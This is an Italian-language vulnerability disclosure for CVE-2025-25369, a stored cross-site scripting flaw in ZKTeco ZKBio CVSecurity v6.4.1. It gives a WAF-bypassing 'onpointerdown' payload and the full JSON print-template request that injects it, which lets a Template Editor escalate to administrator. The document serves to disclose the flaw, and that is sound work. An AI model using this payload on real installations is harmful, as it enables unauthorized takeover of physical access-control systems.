
Exploit XSS documentato per ZKBio CVSecurity v.6.4.1 con bypass WAF, che consente l'escalation dei privilegi da Template Editor ad amministratore tramite modelli di stampa appositamente predisposti.
CVE-2025-25369: Vulnerabilità Cross Site Scripting in ZKTeco ZKBio CVSecurity v.6.4.1
È stata scoperta una vulnerabilità XSS in ZKBio CVSecurity v.6.4.1.
Un attaccante potrebbe sfruttare questa vulnerabilità con i privilegi di Template Editor e aumentare i propri privilegi fino ad amministratore.
È stato inoltre implementato il bypass del WAF integrato.
Ciò può portare al completo compromesso del sistema.
Punteggio CVSS: 4.3 (Basso)
Vettore: CVSS:4.3 AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L
Componente interessato:
Vettori di attacco:
Payload:
onpointerdown="prompt(8)"
Tutti i dati per la richiesta:
[{"printType":""background","width":318,"height":505,"printValue":"/upload/pers/101010101.txt"","direction":"1"},{"cell":"printData.person.pin","leftPoint":"77px","topPoint":"323px","width":117,"height":20,"printType":"text","style":"draggable" onpointerdown="prompt(8)" ui-draggable","color":"0, 0, 0","fontSize":"18px","align":"start","fontFamily":""Arial"","printValue":"pers_person_pin","direction":"1"}]


